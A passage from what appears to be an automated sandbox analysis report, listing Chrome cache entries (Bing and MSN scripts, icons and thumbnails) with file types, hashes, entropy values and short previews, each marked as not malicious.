2zm-6-6.66667c.73639 0 1.33333-.59694 1.33333-1.33333 0-.73637-.59694-1.33333-1.33333

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	4.746509615275893
Encrypted:	false
SSDEEP:	12:6v/7ebZ1ha11BylhnUmnNHI6Y9wx4i42zErQfmmG/vPWAqnfgVCSqET+MFJ3JpGZ:/bZUXUhnUWIqQ2zq5+ffgV5+SQQ4L
MD5:	8E4D1F1D14DDFD621A93B9862751A477
SHA1:	BE928B991747AF2A7D67487E4210D9021998629F
SHA-256:	7D6311AD31430B58FF6C218E5D2840976A093D0523458B6D8B265F2ECAB1BE3D
SHA-512:	BBA01A4BCA879A3F42774F85D9525FE25C22AA4D505DBD9BD31D9F5CFDACAA87FFFD880F7E80AB638FA5D8AEDBB67104E25E552266F7FBB00CBF26A6DB770E94
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....SIDATx....KTQ.....3.......c.. J...Z.B.M;W.n...@h.. .)[H.B...+?.l.a...........Z....s......8F....o.....+...me....\|.,.c.?/..=3..}(_..vo.........j<..F`M`......m.....8...."..:...uCj.jc.t...a.l.........N.`w.. E.I.J.v..W".4zi.==....jiA.e0.....U]U..d...N...j.a.V.3?..a....7q..hy..Y"7t...^.p......wc.w.1..r.z......~%.m...............l."{..s.Kf./.4..TK'.$..`.e1n..{..h;.S.....1.jn.[O..'P:+.....J........@."......\.{.F.v..IHqc..P.../.1.B...!..E....`..$..}'..Xm...Vy.1V."z.@c^I....%........?.D.G.T..5.n.,.cri.#......5.jB.a...,.:...x.-.`..0N..bq...U....(.qs...+;.o.e.YP........y.{.....IEND.B`........................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 634

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1228), with no line terminators
Category:	downloaded
Size (bytes):	1228
Entropy (8bit):	5.021257455081656
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBE2eyo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBiF6U6C+DLSiL+P
MD5:	04E46D18C015E7C22CB2E4B43DCEFD05
SHA1:	212F9F2089A5F85033160582DCCB1B41A7E4CD15
SHA-256:	A8172A1CD35702E0679AA2FC817640738B09D8C2A1BACF4A132E68D314407744
SHA-512:	E3FD5F578CD864C0B1905C3342C3539CC98D78DE8A4734EB2629558ECA566F464890425250610DE11CB9950C481DDB5C3ABF6557E189D7153461F43FE62D34AD
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/IS-fIIml-FAzFgWC3MsbQafkzRU.js
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem".concat(e++),!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.b

Chrome Cache Entry: 635

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13209)
Category:	downloaded
Size (bytes):	34737
Entropy (8bit):	5.524612998629534
Encrypted:	false
SSDEEP:	768:hsMy1gQ6f5nHq2bFcNuXVesb0C8LRu048KSE:c1gQ6xndBPXVbs2
MD5:	3B8FCB70AC101E1D74A1D4490434C0F4
SHA1:	35BC203982A9E4034C5ABFD2CD16CE1779B470EC
SHA-256:	1EE6B1F0CAE491D7F368ABB6C0C80D13F511C02152A6E76657A200507A673BA8
SHA-512:	822127F5FBACD6E7B07487CFC4BC9457709C0534848CF8D09573B46E4E652E9F3D7316EFF78DCCA81779B7776BF69ECF803295EE3714C47400771F9C31A67DF2
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-legacy-card-deferred.38f180b2907591f854fe.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-legacy-card-deferred"],{48729:function(t,e,i){i.r(e),i.d(e,{delayLoadLegacyComponent:function(){return ut}});var o=i(33940),n=i(28904),a=i(42590),s=i(99452),l=i(38985),c=i(29422);const g={saveTelemetryTag:"saveButton",cancelTelemetryTag:"cancelButton",fahrenheitTelemetryTag:"fahrenheitRadio",celsiusTelemetryTag:"celsiusRadio",inputTelemetryTag:"locationSearchInput",searchClearTelemetryTag:"searchClear",suggestTelemetryTag:"locationSuggest",detectLocationTelemetryTag:"detectLocationButton"};var r,d,h=i(94537),u=i(90017);!function(t){t[t.Success=1]="Success",t[t.Failure=2]="Failure"}(r\|\|(r={})),function(t){t[t.Fahrenheit=1]="Fahrenheit",t[t.Celsius=2]="Celsius"}(d\|\|(d={}));class p extends n.H{constructor(){super(...arguments),this.showSuggests=!1,this.inputFocused=!1,this.inputClearFocused=!1,this.handleDocumentKeydown=t=>{if(t.defaultPrevented\|\|!this.settingData)ret

Chrome Cache Entry: 636

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4702
Entropy (8bit):	7.908615151669561
Encrypted:	false
SSDEEP:	96:8zgEOfrFOWMXq8PqxbWONf+WRyA+q1gCD3+QoB8bgowqPyd3z0xASCj9:yg3rFn5oyWOcA+TbB8rnydY5CB
MD5:	AA85C3D853681CD9AD20156F0C2A5A13
SHA1:	FDE2AFDB5FF99B01B128ADF884FB5D58A8EE6ECA
SHA-256:	3F59CB9286158272E139D490F68557B00519E6D7414CEBDBE369E28E80DA398B
SHA-512:	CDEA0C701C9B5496B07659452959A48B49897BF7B91B12CD64D77AAEFA9FD22A3EC0AF1D36C176D9C5D4102DE8439E00A9D2C9EA6A125ACAA99B0B36B5C9DEBB
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_SD90YecmHICwuHr9jWtLSg&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......`vI..O.W;....f.._......U...]y...6....}k<L#.s...-..u.[...Z.c9.z~U..V..#q..yd'....%{..l....Ga^+...^..Z....k..V\.#...+&.=...H^e...j.<;sul. .....?..J..4.q.o.>.[...R...5.....+IR....).OucJ..7.DdY-.\.........\I./....q#.U.}~;{..4o.q.zf.\|..f.v[...)(I..3.............c.......%.....;.\..QS...s..S.6^....X...A .."u).N..9=+...Q..Wf..k...[e.....aU\|K...Z...._..

Chrome Cache Entry: 637

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	512
Entropy (8bit):	4.510163916949154
Encrypted:	false
SSDEEP:	6:6v/lhPahm1lWrg91nyJV1JGOZBouB1eNAWmXcKQ1W1:6v/74+dyJV2O/TDSYsKQ8
MD5:	2CB038DB4D785FBF1014B83723250865
SHA1:	9F146FB8557766B4ECD653CB0FF96DF85FFC0BE0
SHA-256:	AE57256091E86B729C7D6E575DF6C005FAF49B50036E32B63BDF07E5DBAA4B40
SHA-512:	FD938D5B5F055CE0E585922AF1D349AC0D4A1104EA890A871B681633548A9CA80F12C3A7A430D9D3253A465A74EF648CD71FEACCAABBDCF99275EEF1747B73CE
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1ecIHO.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx......Q...C32!..JbC....d..\.\....Z....RJ,..;.7`.._..;.\|g.1...`.w.A.......8.E.2.....=-.E....>...(b....b.....9A.z.Kt..U.....8. P@.-(HS<.C...%h...EM.g].D.B......K...}....C....+\|TJ.T?.....,{........IEND.B`..........................................................................................................................................................................................................................................

Chrome Cache Entry: 638

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/4L4QdyjTv0HYE2Ig2ol9eYoqxg8.svg
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

Chrome Cache Entry: 639

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1829
Entropy (8bit):	3.958376074234918
Encrypted:	false
SSDEEP:	24:tVvnjuDebkQ/KN8NUfgVNsukQyO/HOOF7ygEjzKzBF6RR2poIugpDco1EISiezGA:rnC2R/74gVNbWgUzKznSooILDpOHxh
MD5:	B006565D5EE6ED73849DDBC655EDEA32
SHA1:	3271C938DF715185E983EA682EFC9C7E870C58E0
SHA-256:	51F195E58525D32BFEC69FB435044246E340540C88CBBAC83501969EF638820E
SHA-512:	6D8126DA32DE2600693541C95A010BA5CB4B9A97401BC7EA335974DB451020677550A05D5379DD5670719B87CBC72B9E519F007769EF1AF1BD3D03C33900635C
Malicious:	false
Reputation:	unknown
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">. <path d="M13.5001 5.00088C14.8255 5.00088 15.91 6.03236 15.9947 7.33639L16 7.50075V13.5001C16 14.8255 14.9685 15.91 13.6645 15.9947L13.5001 16H7.50075C6.17534 16 5.09084 14.9685 5.0062 13.6645L5.00088 13.5001V7.50075C5.00088 6.17534 6.03236 5.09084 7.33639 5.0062L7.50075 5.00088H13.5001ZM13.5001 6.00083H7.50075C6.7211 6.00083 6.08038 6.59569 6.00769 7.3563L6.00083 7.50075V13.5001C6.00083 14.2798 6.59569 14.9205 7.3563 14.9932L7.50075 15.0001H13.5001C14.2798 15.0001 14.9205 14.4052 14.9932 13.6446L15.0001 13.5001V7.50075C15.0001 6.7211 14.4052 6.08038 13.6446 6.00769L13.5001 6.00083ZM10.5004 7.00078C10.7459 7.00078 10.95 7.17764 10.9924 7.41088L11.0004 7.50075L10.9994 10.0005L13.5005 10.0006C13.7766 10.0006 14.0004 10.2245 14.0004 10.5006C14.0004 10.746 13.8236 10.9502 13.5903 10.9925L13.5005 11.0006L10.9994 11.0004L11.0004 13.5005C11.0004 13.7766 10.7766 14.0004 10.5004 14.0004C10.255 14

Chrome Cache Entry: 640

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/KC_nX2_tPPyFvVw1RK20Yu1FyDk.svg
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

Chrome Cache Entry: 641

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14531)
Category:	downloaded
Size (bytes):	23513
Entropy (8bit):	5.562038741110365
Encrypted:	false
SSDEEP:	384:yW3v4ktWbI+jGE6f9WH4K81QS48CwosaadJgYK0M2a1Fgqid4CgBTFMSRO1U7z+r:yI4ktWbI+jGVlWH48SdVlnJw0Mr1FqUi
MD5:	0C849C0A6E556F06CA3DE2553CC5B804
SHA1:	23B69798BC7B8FB9FE3EE81AC470EA1C25AFE890
SHA-256:	2A162D9F7AAFC2C070F80BEA655394714A77EA236CB5C040975C53BEE5B00AB0
SHA-512:	A59D47FB533C63AF12977A5F92CE9147539B85AD1EC32C9F76C2073AB458F01639522EB489E780BAC909DD4E69150BAD2159C68C25FFB6541F774A7F9E9F4AE8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/toast.dc9b88b50f8e7fd0aa01.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["toast"],{76846:function(t,e,o){o.r(e),o.d(e,{ToastEvents:function(){return l},ToastWC:function(){return S},ToastWCStyles:function(){return $},ToastWCTemplate:function(){return Ht},ToolingInfo:function(){return Ot},getBackgroundColor:function(){return T},getColor:function(){return k}});var a=o(45900),s=o(63070);var n=o(33940),i=o(38156);const r={telemetryContracts:{toastCloseButton:{name:"Close",behavior:i.wu.Close,action:i.Aw.Click,type:i.c9.ActionButton}},savedStoriesWithinPersonalizeUrl:"/{locale}/feed/personalize#saves",standaloneSavedStoriesUrl:"/{locale}/feed/personalize/saves",urlBase:"https://www.msn.com",locale:"{locale}",defaultBottomPosition:32},l={ready:"toast-wc-ready"};var c=o(85334),d=o(66925);const p=[];var u=o(83227),h=o(97164),g=o(92531),f=o(18544),w=o(58958),x=o(42689),v=o(38492),b=o(26738),m=o(29717),y=o(92059),C=o(78923);const T=(t=!1,e,o)=>{const a=(0,

Chrome Cache Entry: 642

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (58239), with no line terminators
Category:	downloaded
Size (bytes):	58445
Entropy (8bit):	5.358711956827798
Encrypted:	false
SSDEEP:	1536:EEL44gJI13TpYgwnTQLuy75yhLKZic1zIpHB6:EU1NVMUOY
MD5:	99B7CC18F2140487AFF3271EAA283D52
SHA1:	309E7E51E0B2E3B108A875C1A9D2FE8BD4BBCCD0
SHA-256:	893AA4EE542B27370A4F6D1108F622DA26C46DB28FA24AF96A90138374029A58
SHA-512:	937FED17D13C5CC725A6C1288F0138DF22CB6622E6E68B31D5FFA20D2AB7F9DFF214DCAC532C9CEB8432D181EAB22C7183BF8A8CF7E9264E091A81B4E493359A
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d5067e.9cd4b604812228585378.js
Preview:	(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d5067e"],{24474:function(e,t,i){"use strict";i.d(t,{b:function(){return O}});var n=i(33379),o=i(33940),s=i(56692),r=i(38573);const a=new Set(["...","...","...","...","....","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","...","......",".......",".....",".......","........"]);function u(e){var t;if("zh-cn"===(null===(t=null==e?void 0:e.language)\|\|void 0===t?void 0:t.toLowerCase())){if(!(null==e?void 0:e.country))return!1;if(null==e?void 0:e.addressLine){if(!(null==e?void 0:e.locality)&&!(null==e?void 0:e.subRegion)&&!(null==e?void 0:e.reg

Chrome Cache Entry: 643

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 134 x 64, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7098
Entropy (8bit):	7.963448464945032
Encrypted:	false
SSDEEP:	192:ufN2ocRINkQ3svBEH89YSrFURQHfcVUJNxT5:S2/RINkJEH8CSnHfcVuNxT5
MD5:	4A383357BBED3EAB2C029C65EA7E0EC7
SHA1:	DE4AFA2A8680F24928B380046C7BBDBF081D74B9
SHA-256:	E18024807E12EA1A423342AB772A766DEF724D4DEB32F2D5FC60EC3B28066212
SHA-512:	FCA44DE73890342AFC1A27C158E836DBF100FF254B1FCFEDDC1CEDFA68B7DD90CC655BD5C59D84C884C05E19CB22EBC795603EBAED803DC95CDACCC8091868C0
Malicious:	false
Reputation:	unknown
URL:	"https://ecn.dev.virtualearth.net/REST/v1/Imagery/Map/RoadVibrant/Routes/driving?ms=134,64&culture=en-us&waypoint.1=38.852701,-77.32363;drsp.f;+&waypoint.2=38.8400268554688,-77.4231643676758;drep.f;+&mapLayer=TrafficFlow,Basemap,trafficroute,OsmBuildings&key=AugYTsAbLKj7moSUfsxalWlCFq3qnO8wjRy5Pp4tXwCpwW0gClh_Eq0gwMSHPcLK&fmt=png&da=ro&logo=n"
Preview:	.PNG........IHDR.......@.............PLTE..............................6..{\|........`a`][bba..}gw.iz..&mtm...........H.zo........ .b...}..B+....?.B,......]..\|...,{..l.._...7?B......y&...j.....VB..Q...PPK...[`..z....~j.....C..4.a[.F...[.6+.....i.u`.._..T.._.z..j....$..._e...?...f.....h.........nU9.......o...hhB)...zV.....~++(... ,%i....0...V?w.+7.Rq.}..b8.eVy.W.l..a.....3.lCEFqxB......}..w.>f.L.....Z...?{.T..`...,FT.V..,<8.i?.p......+Z....s.Y..j.....Yg....d.........oQ}^.fq...SSS...<... .y@...g....ikk.~.~}.<...787...i._[,.{B.z.g....4..W.n?:.\.....u.....p+.~y......+.q+.z......3;.D.AEP..2.s.)'..$m.y..~'.p.n.'Z.'....=_O~..B.V.GZ......M.le........8.X>M?\ySW.S...".oG\.r.Q.~@...9.r...&c.U...O....e$;.z..T.....p.B.w@8.S[...w..~-l.m..v.i......ASs....uIDATh.}y.\|T........}7.>7.'..q. .+..F.1^.~.....:F.u..Z..I3.H.R.`........*N..KZ.5!l;..Y..t.;...nl.T...s'....L.g....=..=...............>.[..c.........3..^pz8.G..?c=..g.3.,..

Chrome Cache Entry: 644

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	4.796412914000846
Encrypted:	false
SSDEEP:	24:t4LxSdeBU4dxCey0fA53J/S/7/sG5BmefEqrR5GTGOby2NF2E/:+xSUBU4S55Z/aB5BmefEqrRYK6
MD5:	620580657E8A45B4A7B8450B8DA5CD32
SHA1:	922187F6E9192BA43886FB43B70C15735CAFB9E8
SHA-256:	91DE3100632E986CDB6897793EF1B2A8655B15ED4145098CA489856C043D207E
SHA-512:	F3CE71CD92BA2C6ABD6CDEE48F677522439CAD023042D56728E5CB2DED5EC51D1170308FB1524C4A352AC6C5E4E514147D21B99667CCE54CE35A73D91DD27E4B
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 40 40" width="64" height="64">.. <style type="text/css">.. .anim {.. animation-name: blink;.. animation-duration: 1s;.. animation-iteration-count: infinite;.. fill: #05E9F5;.. transition-timing-function: linear;.. }.. @keyframes blink {.. 0% {.. opacity: 0.. }.. 50% {.. opacity: 1.. }.. 75% {.. opacity: 1.. }.. 100% {.. opacity: 1.. }.. }.. .delay1 {.. animation-delay: 0s;.. }.. .delay2 {.. animation-delay: .125s;.. }.. .delay3 {.. animation-delay: .25s;.. }.. .delay4 {.. animation-delay: .375s;.. }.. .delay5 {.. animation-delay: .5s;.. }.. .delay6 {.. animation-delay: .675s;.. }.. .delay7 {.. animation-delay: .75s;.. }.. .delay8 {.. animation-delay: .875s;.. }.. </style>.. <circle class="delay1 anim" cx="20" cy="8" r="3" />.. <circle class="delay5 anim"

Chrome Cache Entry: 645

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561), with no line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	4.889905545792464
Encrypted:	false
SSDEEP:	12:kdXCJAUQcnGfiLQGW3lfbs4HbrdE6/Wj5sSxE6fYXChX0d9JAjU:8CJWcujo47renmSSWYMy9JyU
MD5:	6D69808BC13425DCFBCD61C2DCD11305
SHA1:	76CCC14A62EDF6E44901A237B3460E22874B6F53
SHA-256:	88D86FE4AD7534BB5D79D6CEAFDC527ADE975D07F49A856CE0EE6783161516C3
SHA-512:	FCD132A1D6C53B897FA9B60DE7A054CD429DF3EAEB19F40367968FCDDE12B270C71685D6F8991A1F0A12BE14F981FD6BFADE30F43E4C9527313F978EFD87C215
Malicious:	false
Reputation:	unknown
Preview:	var OutlinePolyfil=function(){function n(){var n=this;this.attachHandlers=function(){addEventListener("keydown",n.onTabKey);addEventListener("focusin",n.onFocusIn);addEventListener("mousedown",n.onMouseDown)};this.onTabKey=function(n){n.key=="Tab"&&document.body.classList.add("tabbing")};this.onFocusIn=function(t){t.target===n.firstFocusable&&document.body.classList.add("tabbing")};this.onMouseDown=function(){document.body.classList.remove("tabbing")};this.firstFocusable=document.querySelector("#bLogo");this.attachHandlers()}return n}();new OutlinePolyfil

Chrome Cache Entry: 646

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	5673
Entropy (8bit):	7.920465170900749
Encrypted:	false
SSDEEP:	96:8zgEb4fi3drwD9iL6Vcho/xduPT7kJqPgB7Kq4pob2uJimLZYxVlrr:ygU46RIca/viLY7KqKoyuJ5mxD
MD5:	78982706D0E505CEEC6C746496694944
SHA1:	7A56E20E7B73CBEFEFAB3E3441CE65B23E717074
SHA-256:	42607910CC7038C6641A2D778773053D9B2FFCDBAC9751A4983ECFAFA9A90FEC
SHA-512:	6CF93184734AE00476DEF1B83B495E3CA9ED4CA0529AE4C8B99B1A901C84DD39E1D75285E3D15011388207B2E6EE7A87BF33D5375AE2BAC764C3E987D2EE93D7
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..K(...@.....$...u....XE.......n....s...<......R...H?.E?.~..~Y.>.......6.b.R[[izt.`.J..&YUN.$s.rV..>n..[..l...f.5i.?.Z...G...7e..j...#....fi67...6V^d..:.h:......]...4....U..~.?....P..+..us_A.<=.......#..}...Z...R.....{..U5.R.J.Y..X..G.....EU...A..[....l..yY.&f...Y...qi....qB..Y.6..P:.J.oR`g5.z..45._>.....,..=.n .\.}*...S..<V.6...>..`..z.$.(k.]...\.....O....%

Chrome Cache Entry: 647

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	567790
Entropy (8bit):	5.203401736061893
Encrypted:	false
SSDEEP:	6144:ol04MfNzqRUFExBZPmSy+ixHPDNJMMUnzONCRBEpORcwN0m19tNTnCOD07IzdbV9:20nmTUdydGGll
MD5:	F22AEF5E40B4FC45D422D6326D4E82CF
SHA1:	4FA95CB3A8AA07BAE7DFA1485F26CBC1BA8FC042
SHA-256:	597A5A961AFF54E9E5AD009C670674A5DC11C9F829764B32B925066B5AB9DC8B
SHA-512:	216578580CED656436D0264C430EE2D3D464AB29AE82DF4911E56E364BC1D50577AFDF5AB726748D5F3593664673E92C27C6F0881150CB141E3390560450D3F2
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/T6lcs6iqB7rn36FIXybLwbqPwEI.js
Preview:	(()=>{var e=[,function(e,t,r){"use strict";var n=this&&this.__createBinding\|\|(Object.create?function(e,t,r,n){void 0===n&&(n=r),Object.defineProperty(e,n,{enumerable:!0,get:function(){return t[r]}})}:function(e,t,r,n){void 0===n&&(n=r),e[n]=t[r]}),i=this&&this.__exportStar\|\|function(e,t){for(var r in e)"default"===r\|\|t.hasOwnProperty(r)\|\|n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0});var o=r(2);r(6).Events.instance.attachConsoleListener(new o.ConsoleLoggingListener),i(r(64),t)},function(e,t,r){"use strict";var n=this&&this.__createBinding\|\|(Object.create?function(e,t,r,n){void 0===n&&(n=r),Object.defineProperty(e,n,{enumerable:!0,get:function(){return t[r]}})}:function(e,t,r,n){void 0===n&&(n=r),e[n]=t[r]}),i=this&&this.__exportStar\|\|function(e,t){for(var r in e)"default"===r\|\|t.hasOwnProperty(r)\|\|n(t,e,r)};Object.defineProperty(t,"__esModule",{value:!0}),i(r(3),t),i(r(54),t),i(r(55),t),i(r(236),t),i(r(237),t),i(r(238),t),i(r(239),t),i(r(248),t),i(r(249),t),i(r(250),t),i(r(

Chrome Cache Entry: 648

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1051), with no line terminators
Category:	downloaded
Size (bytes):	1051
Entropy (8bit):	5.354709142801451
Encrypted:	false
SSDEEP:	24:2QmZ6qv3dhazSaxa7onMZN1GqPTz0KmNn4zVAoL3tMTCDU1FA9zR9uHemdXp:2Om74MZN1tPv0KmNjAtMGDTzRPo
MD5:	F76D06D7669E399DC0788BC5473562BB
SHA1:	159293D99346A27E2054A812451909DE832CA0D1
SHA-256:	23F0357AE77648EE38F39960E56507D87F8D690C48E759A0E054F6E691C843EC
SHA-512:	F5BA3C997F980A2B3DA8B93D0DFF351FA6796BAA705E7831F9EFED24A6C4F0FAAF84CC7F31AC5DAC8A8D05D8D0491ECCD03EDF5892B28B639CBB107271FEB893
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/FZKT2ZNGon4gVKgSRRkJ3oMsoNE.js
